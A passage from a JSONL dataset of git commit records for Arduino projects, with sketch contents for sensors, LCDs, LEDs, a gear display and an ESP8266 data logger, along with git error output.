authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"971824d5a27d727195039fa40adbd8fc139de37e","subject":"Added example program","message":"Added example program","repos":"MatthiasZoebl\/gcode","old_file":"examples\/Serial_GCode\/Serial_GCode.ino","new_file":"examples\/Serial_GCode\/Serial_GCode.ino","new_contents":"#include <GCode.h> \/\/ include gcode-interpreter library\n\nGCode gcode(true); \/\/ instance of gcode-interpreter\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup()\n{\n \/\/ initialize serial\n Serial.begin(9600);\n \/\/ reserve 100 bytes for the inputString\n inputString.reserve(100);\n}\n\nvoid loop()\n{\n \/\/ call function 'printGCode' when receiving a newline\n if (stringComplete)\n {\n printGCode();\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n}\n\nvoid serialEvent()\n{\n while (Serial.available())\n {\n \/\/ get the new byte\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString\n inputString += inChar;\n \/\/ if the incoming character is a newline, set stringComplete to true\n if (inChar == '\\n')\n {\n stringComplete = true;\n }\n }\n}\n\nvoid printGCode()\n{\n \/\/ set variable 'inputString' as code line\n gcode.setCode(inputString);\n \/\/ print all gcode values\n Serial.print(\"Received code: \");\n Serial.println(gcode.getCode());\n Serial.print(\"D: \");\n Serial.println(gcode.getD());\n Serial.print(\"T: \");\n Serial.println(gcode.getT());\n Serial.print(\"M: \");\n Serial.println(gcode.getM());\n Serial.print(\"G: \");\n Serial.println(gcode.getG());\n Serial.print(\"X: \");\n Serial.println(gcode.getX(),3);\n Serial.print(\"Y: \");\n Serial.println(gcode.getY(),3);\n Serial.print(\"Z: \");\n Serial.println(gcode.getZ(),3);\n Serial.print(\"F: \");\n Serial.println(gcode.getF(),3);\n Serial.write(\"\\n*******************************\\n\\n\");\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Serial_GCode\/Serial_GCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b121621cb12b69ed2dfa842c425f35872bc4491","subject":"Monitoring small laser cutter","message":"Monitoring small laser cutter\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/unowifi\/unowifi.ino","new_file":"unit tests\/unowifi\/unowifi.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/unowifi\/unowifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"30b623a1047ac2daaa37bb345c69b0137a0024fb","subject":"Added example file","message":"Added example file\n","repos":"christiangda\/LCD1602KeyPad","old_file":"examples\/LCD1602KeyPad_SimpleTest\/LCD1602KeyPad_SimpleTest.ino","new_file":"examples\/LCD1602KeyPad_SimpleTest\/LCD1602KeyPad_SimpleTest.ino","new_contents":"\/* Arduino LCD1502KeyPad Library\n copyright Christian Gonz\u00e1lez <christiangda@gmail.com>, 2013\n this code is public domain, enjoy!\n*\/\n\n#include <LCD1602KeyPad.h> \/\/ include LCD library\n#include <LiquidCrystal.h>\n\nLCD1602KeyPad lcd;\n\nvoid setup()\n{\n lcd.begin();\n lcd.print( \"LCD KeyPad 16x2\" );\n \/\/bottom left corner\n lcd.setCursor( 0, 1 );\n lcd.print( \"Btn:\" );\n}\n\nvoid loop()\n{\n byte button;\n byte timestamp;\n boolean state;\n \n \/\/get the latest button pressed\n button = lcd.readButtons();\n\n \/\/blank the demo text line if a new button is pressed or released, ready for a new label to be written\n state = lcd.getButtonsState();\n if( state == RELEASED )\n {\n lcd.setCursor( 4, 1 );\n lcd.print( \" \" );\n }\n\n \/\/show text label for the button pressed\n switch( button )\n {\n case NONE:\n {\n break;\n }\n case RIGHT:\n {\n lcd.setCursor( 4, 1 );\n lcd.print( \"RIGHT\" );\n break;\n }\n case UP:\n {\n lcd.setCursor( 4, 1 );\n lcd.print( \"UP\" );\n break;\n }\n case DOWN:\n {\n lcd.setCursor( 4, 1 );\n lcd.print( \"DOWN\" );\n break;\n }\n case LEFT:\n {\n lcd.setCursor( 4, 1 );\n lcd.print( \"LEFT\" );\n break;\n }\n case SELECT:\n {\n lcd.setCursor( 4, 1 );\n lcd.print( \"SELECT\" ); \n break;\n }\n default:\n {\n break;\n }\n }\n\n \/\/ print the number of seconds since reset (two digits only)\n timestamp = ( (millis() \/ 1000) % 100 ); \/\/\"% 100\" is the remainder of a divide-by-100, which keeps the value as 0-99 even as the result goes over 100\n lcd.setCursor( 14, 1 );\n if( timestamp <= 9 )\n {\n lcd.print( \" \" ); \/\/quick trick to right-justify this 2 digit value when it's a single digit\n }\n lcd.print( timestamp, DEC );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LCD1602KeyPad_SimpleTest\/LCD1602KeyPad_SimpleTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a9e03fb071478de4dcdfc1faf6160f17534f41f","subject":"Off-by-one errors >.<","message":"Off-by-one errors >.<\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/Serial\/Serial.ino","new_file":"Arduino\/Serial\/Serial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8d2388e6998b7da049eadcef82fde0a9afcacaf1","subject":"Load Cell Calibration Code","message":"Load Cell Calibration Code","repos":"shyampurk\/kitchen-tracker,shyampurk\/kitchen-tracker,shyampurk\/kitchen-tracker,shyampurk\/kitchen-tracker,shyampurk\/kitchen-tracker","old_file":"hardware\/bleHM10\/calibrate.ino","new_file":"hardware\/bleHM10\/calibrate.ino","new_contents":"\n\/*******************************************************************************************************\n * SMART KITCHEN TRACKER *\n *******************************************************************************************************\/\n#include \"HX711.h\"\n\n\/\/Pins for the Load Cell 1\n#define DOUT 4\n#define CLK 2\n\/\/Pins for the Load Cell 2\n#define DOUT1 5\n#define CLK1 3\n\n\n\/\/Initialize the load cell\nHX711 scale(DOUT, CLK);\nHX711 scale1(DOUT1, CLK1);\n\n\/\/Setting up the Calibration factor for the load cells\n\/\/Change these values by adding\/subtracting to calibrate the sensor \n#define calibration_factor -395050\n#define calibration_factor1 -347429\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"HX711 calibration sketch\");\n \/\/Reset the scale to 0\n scale1.set_scale(calibration_factor); \n scale.set_scale(calibration_factor1);\n scale1.tare();\n scale.tare();\n \/\/Get a baseline reading\n long zero_factor_1 = scale.read_average(); \n long zero_factor_2 = scale1.read_average(); \n Serial.print(\"Zero factor for Sensor 1: \"); \/\/This can be used to remove the need to tare the scale. Useful in permanent scale projects.\n Serial.println(zero_factor_1);\n Serial.print(\"Zero factor for Sensor 2: \"); \/\/This can be used to remove the need to tare the scale. Useful in permanent scale projects.\n Serial.println(zero_factor_2);\n}\n\nvoid loop() {\n \/\/Adjust to this calibration factor\n scale1.set_scale(calibration_factor); \n scale.set_scale(calibration_factor1);\n\n Serial.print(\"Reading for Sensor 1: \");\n Serial.print(scale.get_units(), 3);\n Serial.print(\" lbs\"); \n Serial.print(\" calibration_factor: \");\n Serial.print(calibration_factor);\n Serial.println();\n Serial.println();\n Serial.println();\n Serial.print(\"Reading for Sensor 2: \");\n Serial.print(scale1.get_units(), 3);\n Serial.print(\" lbs\"); \n Serial.print(\" calibration_factor: \");\n Serial.print(calibration_factor1);\n Serial.println();\n Serial.println();\n Serial.println();\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/bleHM10\/calibrate.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"760b8fa8d936cfd07bf9322eb16b67bd9c2c0de5","subject":"aadd interrupt test","message":"aadd interrupt test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/interrupttest.ino","new_file":"testing\/arduino\/interrupttest.ino","new_contents":"const byte ledPin = 13;\nconst byte interruptPin = 2;\nvolatile byte state = LOW;\nint count = 0;\nbool lock = false;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n pinMode(interruptPin, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(interruptPin), trigger, RISING);\n Serial.begin(230400);\n}\n\nvoid loop() {\n digitalWrite(ledPin, state);\n Serial.println(count);\n}\n\nvoid trigger() {\n state = !state;\n count++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/interrupttest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d37376f44f6c67e5235fb77ee79fc243eb6354bf","subject":"Create trigger_update_from_input.ino","message":"Create trigger_update_from_input.ino","repos":"marmilicious\/FastLED_examples","old_file":"trigger_update_from_input.ino","new_file":"trigger_update_from_input.ino","new_contents":"\/\/***************************************************************\n\/\/ Example of using an input to trigger a pixel update.\n\/\/\n\/\/ A simple button is used here, but the input could be modified\n\/\/ to other types of inputs by changing the \"checkInput\" function\n\/\/ that monitors the input.\n\/\/\n\/\/ This example uses JChristensen's Button Library from:\n\/\/ https:\/\/github.com\/JChristensen\/Button\n\/\/ \n\/\/\n\/\/ Marc Miller, Feb 2017\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE LPD8806\n#define COLOR_ORDER GRB\n#define NUM_LEDS 32\n#define BRIGHTNESS 50\nCRGB leds[NUM_LEDS];\n\n\/\/ use JChristensen's Button library \n#include \"Button.h\" \nconst int buttonPin = 4; \/\/ digital pin used for debounced push button\nButton myButton(buttonPin, true, true, 40); \/\/ declare the button\n\n\nuint8_t pos = NUM_LEDS-1; \/\/ set initial position\nboolean input = false; \/\/ set input status\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n Serial.println(\"Setup done. \\n\");\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n checkInput(); \/\/ calls funtion to check the input\n\n if (input == true) {\n leds[pos] = CRGB::Black; \/\/ turn off previously lit pixel\n pos++; \/\/ Advance to next pixel\n if (pos == NUM_LEDS) { pos = 0; } \/\/ rollover if needed\n leds[pos] = CHSV(random8(),255,255); \/\/ turn on new pixel with random color\n \/\/input = false; \/\/ set input status back to false\n }\n\n FastLED.show(); \/\/ update the display\n\n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\nvoid checkInput(){ \/\/ function to check input\n myButton.read();\n if(myButton.wasPressed() ) {\n Serial.println(\"Button pressed!\");\n input = true; \/\/ set input status to true\n } else {\n input = false;\n }\n}\/\/end_checkInput\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'trigger_update_from_input.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f5dbe1a6641ad00752e253182844585f357167e3","subject":"initial commit of motor test arduino program.","message":"initial commit of motor test arduino program.\n","repos":"openxc\/shiftknob-android","old_file":"arduinoTest\/MotorControl\/MotorControl.ino","new_file":"arduinoTest\/MotorControl\/MotorControl.ino","new_contents":"int motorPin = 5;\n\nvoid setup() {\n pinMode(motorPin, OUTPUT);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly: \n analogWrite(motorPin, 255);\n delay(1000);\n analogWrite(motorPin, 0);\n delay(1000);\n analogWrite(motorPin, 128);\n delay(1000);\n analogWrite(motorPin, 0);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoTest\/MotorControl\/MotorControl.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"6cd4643fa0df5f381d44fef8a87559721c92e077","subject":"add arduino test file","message":"add arduino test file\n","repos":"GohNicho\/428-head-tracking,GohNicho\/428-head-tracking,GohNicho\/428-head-tracking,GohNicho\/428-head-tracking","old_file":"test_bluetooth\/HC05_with_Computer_TEST\/HC05_with_Computer_TEST.ino","new_file":"test_bluetooth\/HC05_with_Computer_TEST\/HC05_with_Computer_TEST.ino","new_contents":"\/\/ This program shows how to control arduino from PC Via Bluetooth\r\/\/ you will first have to link the HC-05 with your computer with the pairing code 1234\r\/\/ download a terminal emulator such as Tera Form\r\/\/ connect the serial COM port in Tera Term with the HC-05\r\/\/ upload the following code on your Arduino\r\/\/ enter 0 & 1 in Tera Term to blink the LED\r\/\/\r\/\/ Connect ...\r\/\/ arduino>>bluetooth\r\/\/ D11 >>> Rx\r\/\/ D10 >>> Tx\r\/\/Written By Mohannad Rawashdeh\r\/\/for http:\/\/www.genotronex.com\/\r\rchar val; \/\/ variable to receive data from the serial port\rint ledpin = 13; \/\/ Arduino LED pin 13 (on-board LED)\rvoid setup() {\r pinMode(ledpin, OUTPUT); \/\/ pin 13 (on-board LED) as OUTPUT\r Serial.begin(9600); \/\/ start serial communication at 9600bps\r}\r \rvoid loop() {\r if( Serial.available() ) \/\/ if data is available to read\r {\r val = Serial.read(); \/\/ read it and store it in 'val'\r }\r if( val == 'H' ) \/\/ if '1' was received\r {\r digitalWrite(ledpin, HIGH); \/\/ turn ON the LED\r } else {\r digitalWrite(ledpin, LOW); \/\/ otherwise turn it OFF\r }\r delay(100); \/\/ wait 100ms for next reading\r}\r","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_bluetooth\/HC05_with_Computer_TEST\/HC05_with_Computer_TEST.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e13e542fb307577f940f9c06f8a6917fd99e20f","subject":"Example","message":"Example","repos":"tunataskintuna35\/MPXV6115V","old_file":"Vacuum.ino","new_file":"Vacuum.ino","new_contents":"#include \"MPXV6115V.h\"\n\nMPXV6115V mpxv6115v(A0);\n\nvoid setup()\n{\n Serial.begin(9600);\n}\nvoid loop()\n{\n float vacuum=mpxv6115v.hesap();\n Serial.println(vacuum);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Vacuum.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"09d3c05bdf005f744d6a0b1ca3b0e4c2e048f10d","subject":"Added Core directory This houses code that is shared irrespective of display choice","message":"Added Core directory\nThis houses code that is shared irrespective of display choice\n","repos":"Ehryk\/GearDisplay,Ehryk\/GearDisplay","old_file":"Core\/Gear_Display\/Gear_Display.ino","new_file":"Core\/Gear_Display\/Gear_Display.ino","new_contents":"\/*\nManual Transmission Gear Display\nEhryk Menze\n*\/\n\n#include <LiquidCrystal.h>\n#include <stdlib.h>\n\n\/\/Configure Pins\nint gear1pin = A0;\nint gear2pin = A1;\nint gear3pin = A2;\nint gear4pin = A3;\nint gear5pin = A4;\nint gearRpin = A5;\nint modePin = 8;\nint toleranceUpPin = 9;\nint toleranceDownPin = 10;\n\n\/\/Declare Value Variables\n\/\/Values will range between 0 and 1023, (0V and 5V respectively)\n\/\/With a Resolution of 4.9mV \/ unit\nint gear1value = 0;\nint gear2value = 0;\nint gear3value = 0;\nint gear4value = 0;\nint gear5value = 0;\nint gearRvalue = 0;\n\/\/This is what should be read by the ideal Hall Effect Sensor\n\/\/Probably useless in this application\nint theoretical = 511;\nint numberActive = -2;\nint mode = 0;\nboolean inGear = false;\nunsigned long debugRefresh = 0;\n\/\/How often to refresh the serial port, in milliseconds\nint refreshInterval = 1000;\nint gear = -2;\nint total = 0;\nint average = 0;\n\n\/\/Parameters\nboolean debug = true;\nint baud = 9600;\nint tolerance = 200;\n\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(baud);\n \n \/\/Set pin modes\n pinMode(gear1pin, INPUT);\n pinMode(gear2pin, INPUT);\n pinMode(gear3pin, INPUT);\n pinMode(gear4pin, INPUT);\n pinMode(gear5pin, INPUT);\n pinMode(gearRpin, INPUT);\n pinMode(modePin, INPUT);\n pinMode(toleranceUpPin, INPUT);\n pinMode(toleranceDownPin, INPUT);\n \n \/\/Use internal pull-up resistors\n digitalWrite(modePin, HIGH);\n digitalWrite(toleranceUpPin, HIGH);\n digitalWrite(toleranceDownPin, HIGH);\n \n writeCredits();\n delay(1500);\n}\n\nboolean checkPress(int pin) {\n return digitalRead(pin) == LOW && debounce(pin, LOW, 20, 6);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/Check for Mode Press\n if (checkPress(modePin)) {\n mode++;\n if (mode > 8) mode = 0;\n delay(100);\n }\n else if (checkPress(toleranceUpPin) && tolerance < 995) tolerance += 5;\n else if (checkPress(toleranceDownPin) && tolerance > 0) tolerance -= 5;\n \n \/\/Update the value variables\n readValues();\n total = getTotal();\n average = getAverage(total);\n numberActive = countActive();\n gear = activeGear();\n inGear = gear > 0;\n \n \/\/This rereads in the case of an error or fault\n \/\/(doesn't display errors, leaves last displayed values)\n if (!debug && gear < 0) return;\n \n if (debug && millis() - debugRefresh > refreshInterval) {\n Serial.print(\"Mode: \");\n Serial.println(mode);\n \n Serial.print(\"Total: \");\n Serial.println(total);\n \n Serial.print(\"Average: \");\n Serial.print(average);\n Serial.print(\" \");\n Serial.print(toVoltage(average));\n Serial.println(\"V\");\n \n Serial.print(\"Tolerance: \");\n Serial.print(tolerance);\n Serial.print(\" \");\n Serial.print(toVoltage(tolerance));\n Serial.println(\"V\");\n \n Serial.print(\"In Gear: ** \");\n Serial.print(gearName(gear));\n Serial.print(\" (\");\n Serial.print(gearChar(gear));\n Serial.println(\") **\");\n \n if (inGear) {\n Serial.print(\" - Active Gear: \");\n Serial.print(activeValue());\n Serial.print(\" \");\n Serial.print(activeVoltage());\n Serial.println(\"V\");\n Serial.print(\" - Differential: \");\n Serial.println(abs(activeValue() - average));\n }\n else {\n Serial.println(\" - Active Gear: N\/A\");\n Serial.println(\" - Differential: N\/A\");\n }\n \n Serial.print(\"Gear 1: \");\n Serial.print(gear1value);\n Serial.print(\" \");\n Serial.print(toVoltage(gear1value));\n Serial.println(\"V\");\n \n Serial.print(\"Gear 2: \");\n Serial.print(gear2value);\n Serial.print(\" \");\n Serial.print(toVoltage(gear2value));\n Serial.println(\"V\");\n \n Serial.print(\"Gear 3: \");\n Serial.print(gear3value);\n Serial.print(\" \");\n Serial.print(toVoltage(gear3value));\n Serial.println(\"V\");\n \n Serial.print(\"Gear 4: \");\n Serial.print(gear4value);\n Serial.print(\" \");\n Serial.print(toVoltage(gear4value));\n Serial.println(\"V\");\n \n Serial.print(\"Gear 5: \");\n Serial.print(gear5value);\n Serial.print(\" \");\n Serial.print(toVoltage(gear5value));\n Serial.println(\"V\");\n \n Serial.print(\"Gear R: \");\n Serial.print(gearRvalue);\n Serial.print(\" \");\n Serial.print(toVoltage(gearRvalue));\n Serial.println(\"V\");\n \n Serial.print(\"Standard Deviation: \");\n Serial.println(getStandardDeviation(average));\n \n Serial.println();\n \n debugRefresh = millis();\n }\n \n \/\/Update the display\n updateDisplay(mode, gear);\n}\n\nvoid readValues(){\n gear1value = readHallEffect(gear1pin);\n gear2value = readHallEffect(gear2pin);\n gear3value = readHallEffect(gear3pin);\n gear4value = readHallEffect(gear4pin);\n gear5value = readHallEffect(gear5pin);\n gearRvalue = readHallEffect(gearRpin);\n}\n\nint getTotal() {\n return gear1value + gear2value + gear3value + gear4value + gear5value + gearRvalue;\n}\n\nint getAverage(int total) {\n return total \/ 6;\n}\n\nfloat getStandardDeviation(int average) {\n float variance = 0;\n variance += pow(toVoltage(gear1value - average), 2);\n variance += pow(toVoltage(gear2value - average), 2);\n variance += pow(toVoltage(gear3value - average), 2);\n variance += pow(toVoltage(gear4value - average), 2);\n variance += pow(toVoltage(gear5value - average), 2);\n variance += pow(toVoltage(gearRvalue - average), 2);\n variance = variance \/ 6;\n return sqrt(variance);\n}\n\nfloat toVoltage(int value) {\n return value * 5.0 \/ 1023.0;\n}\n\nint readHallEffect(int pin) {\n return analogRead(pin);\n}\n\nint countActive() {\n \/\/Return the number of pins avove tolerance\n int count = 0;\n \n if (active(gear1value)) count ++;\n if (active(gear2value)) count ++;\n if (active(gear3value)) count ++;\n if (active(gear4value)) count ++;\n if (active(gear5value)) count ++;\n if (active(gearRvalue)) count ++;\n \n return count;\n}\n\nint activePin() {\n \/\/Return the pin above tolerance\n \/\/Return -1 if more than one active\n \n if (numberActive == 0) return 0;\n if (numberActive >= 2) return -1;\n \n if (active(gear1value)) return gear1pin;\n if (active(gear2value)) return gear2pin;\n if (active(gear3value)) return gear3pin;\n if (active(gear4value)) return gear4pin;\n if (active(gear5value)) return gear5pin;\n if (active(gearRvalue)) return gearRpin;\n \n return -2;\n}\n\nint activeGear() {\n \/\/Return the pin above tolerance\n \/\/Return -1 if more than one active\n \n if (numberActive == 0) return 0;\n if (numberActive >= 2) return -1;\n \n if (active(gear1value)) return 1;\n if (active(gear2value)) return 2;\n if (active(gear3value)) return 3;\n if (active(gear4value)) return 4;\n if (active(gear5value)) return 5;\n if (active(gearRvalue)) return 6;\n \n return -2;\n}\n\nint activeValue() {\n \/\/Return the pin above tolerance\n \/\/Return -1 if more than one active\n \n if (numberActive == 0) return 0;\n if (numberActive >= 2) return -1;\n \n if (active(gear1value)) return gear1value;\n if (active(gear2value)) return gear2value;\n if (active(gear3value)) return gear3value;\n if (active(gear4value)) return gear4value;\n if (active(gear5value)) return gear5value;\n if (active(gearRvalue)) return gearRvalue;\n \n return -2;\n}\n\nfloat activeVoltage() {\n return toVoltage(activeValue());\n}\n\nboolean active(int value) {\n int deviation = abs(value - average);\n return deviation > tolerance;\n}\n\n\/\/Returns the Name of a Gear\nchar* gearName(int g) {\n switch (g) {\n case -2: return \"Fault \";\n case -1: return \"Error \";\n case 0: return \"Neutral\";\n case 1: return \"First \";\n case 2: return \"Second \";\n case 3: return \"Third \";\n case 4: return \"Fourth \";\n case 5: return \"Fifth \";\n case 6: return \"Reverse\";\n }\n return \"Fault\";\n}\n\n\/\/Returns the Letter\/Digit of a Gear\nchar gearChar(int g) {\n switch (g) {\n case -2: return 'F';\n case -1: return 'E';\n case 0: return 'N';\n case 1: return '1';\n case 2: return '2';\n case 3: return '3';\n case 4: return '4';\n case 5: return '5';\n case 6: return 'R';\n }\n return 'F';\n}\n\nvoid updateDisplay(int mode, int gear) {\n switch(mode) {\n case 0: writeBasic(gear); break;\n case 1: writeAdvanced(gear); break;\n case 2: writeVariables(gear, true); break;\n case 3: writeVariables(gear, false); break;\n case 4: writeValues(); break;\n case 5: writeVoltages(); break;\n case 6: writeFill(gearChar(gear)); break;\n case 7: writeCredits(); break;\n case 8: break;\n }\n}\n\nvoid writeBasic(int g) {\n}\n\nvoid writeAdvanced(int g) {\n}\n\nvoid writeVariables(int g, boolean voltage) {\n}\n\nvoid writeValues() {\n}\n\nvoid writeVoltages() {\n}\n\nvoid writeFill(char c) {\n}\n\nvoid writeCredits() {\n}\n\nboolean debounce(int pin, int value, int timeDelay, int bounceCount) {\n int toCheck = bounceCount;\n while (toCheck > 0) {\n delay(timeDelay);\n if (digitalRead(pin) != value) return false;\n toCheck --;\n }\n return true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Core\/Gear_Display\/Gear_Display.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"da9177740d90730abb362582bcf2ecc3df158e62","subject":"Create Post_analogue.ino","message":"Create Post_analogue.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/Post_analogue.ino","new_file":"ESP8266-code\/Post_analogue.ino","new_contents":"#define ADC_REF 3.3 \/\/ Reference voltage\n#define ADC A0 \/\/ Analog input\n#define LOGON D6 \/\/ take this pin high to turn on logging to the data stream\n#define STATSON D7 \/\/ take this pin high to turn on stats \n\n\/\/ WiFi connection\n#include <ESP8266WiFi.h>\nconst char* ssid = \"ssid\";\nconst char* password = \"passwordf\";\n\n\/\/ Data stream\nchar* storeHost = \"kitwallace.co.uk\";\nchar* storePath = \"\/rt\/home.xq\";\nchar* streamId = \"id\";\nchar* privateKey = \"pk\";\n\n\/\/ Sensor \nString sensorName = \"Angle\";\n\n\/\/ sampling\nint samples = 25;\nint delayms = 1000;\n\nvoid setup() \n{\n Serial.begin(9600); \n\n connectWifi();\n \n delay(100); \/\/ sensor startup delay\n \n Serial.println(); \n Serial.println(sensorName);\n}\n\n\nvoid loop() {\n if (digitalRead(STATSON))\n gatherStats();\n else getSample();\n delay(delayms);\n}\n\nvoid gatherStats() {\n float sum=0;\n float sum1=0; \n float sum2=0;\n float value, k;\n k = asValue(getVoltage()); \n Serial.println(String(\"k = \") + k);\n delay(delayms); \n for(int i =0; i<samples; i++) {\n float voltage = getVoltage();\n value =asValue(voltage);\n Serial.println(String(\"value = \") + value);\n sum += value;\n sum1 += (value - k);\n sum2 += (value - k)* (value - k);\n delay(delayms); \n }\n float mean = sum \/ samples ;\n float stddev = sqrt((sum2 - (sum1 * sum1) \/ samples) \/ (samples - 1));\n Serial.println(String(\"Statistics for \") + samples + \" samples\");\n Serial.println(String(\"mean =\")+ mean + \" StdDev= \" + stddev + \" 95% interval = \" + (mean - 2 * stddev) + \",\" + (mean+ 2 * stddev));\n if (digitalRead(LOGON) ==1 )\n logData(String(\"average=\")+mean+\"&stddev=\"+stddev);\n\n}\n\nvoid getSample() {\n float voltage = getVoltage();\n float value =asValue(voltage);\n Serial.println(String(\"value = \") + value);\n if (digitalRead(LOGON) ==1 )\n logData(String(\"value=\") + value);\n}\n\n\nfloat getVoltage()\n{\n int sensor_value;\n sensor_value = analogRead(ADC); \n float voltage = (float)sensor_value*ADC_REF\/1024;\n return voltage;\n}\n\nfloat asValue(float voltage) {\n return voltage*270\/ADC_REF; \/\/ 270 degrees full turn\n}\n\nvoid connectWifi() {\n\/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n}\n\nvoid httpPost(char* host, char* path, String data) {\n WiFiClient client;\n data.replace(\" \", \"+\");\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.println(String(\"Host=\") + host + \" path=\" + path + \" data=\" + data);\n\/\/ This will send the request to the server\n String httprequest = String(\"POST \") + path + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Content-Type: application\/x-www-form-urlencoded\\r\\n\"\n \"Connection: close\\r\\n\" +\n \"Content-Length:\"+ data.length() +\"\\r\\n\\r\\n\" +\n data;\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n\nvoid logData(String params) {\n String data = \"_action=store&_id=\";\n data += streamId;\n data += String(\"&_pk=\")+ privateKey + \"&\";\n data += params;\n httpPost(storeHost, storePath, data); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/Post_analogue.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"50816c00f34a6b2013f6eb28adfbaadfa90f0ab0","subject":"Uploaded and Configured Wind Sensor Program","message":"Uploaded and Configured Wind Sensor Program\n","repos":"Darren-Mc\/Arduino,Darren-Mc\/Arduino","old_file":"WindSensor\/WindSensor.ino","new_file":"WindSensor\/WindSensor.ino","new_contents":"\/* Modern Device Wind Sensor Sketch for Rev C Wind Sensor\n This sketch is only valid if the wind sensor if powered from \n a regulated 5 volt supply. An Arduino or Modern Device BBB, RBBB\n powered from an external power supply should work fine. Powering from\n USB will also work but will be slightly less accurate in our experience.\n \nWhen using an Arduino to power the sensor, an external power supply is better. Most Arduinos have a \n polyfuse which protects the USB line. This fuse has enough resistance to reduce the voltage\n available to around 4.7 to 4.85 volts, depending on the current draw. \n \n The sketch uses the on-chip temperature sensing thermistor to compensate the sensor\n for changes in ambient temperature. Because the thermistor is just configured as a\n voltage divider, the voltage will change with supply voltage. This is why the \n sketch depends upon a regulated five volt supply.\n \n Other calibrations could be developed for different sensor supply voltages, but would require\n gathering data for those alternate voltages, or compensating the ratio.\n \n Hardware Setup: \n Wind Sensor Signals Arduino\n GND GND\n +V 5V\n RV A1 \/\/ modify the definitions below to use other pins\n TMP A0 \/\/ modify the definitions below to use other pins\n \n\n Paul Badger 2014\n \n Hardware setup:\n Wind Sensor is powered from a regulated five volt source.\n RV pin and TMP pin are connected to analog innputs.\n \n *\/\n\n\n#define analogPinForRV 1 \/\/ change to pins 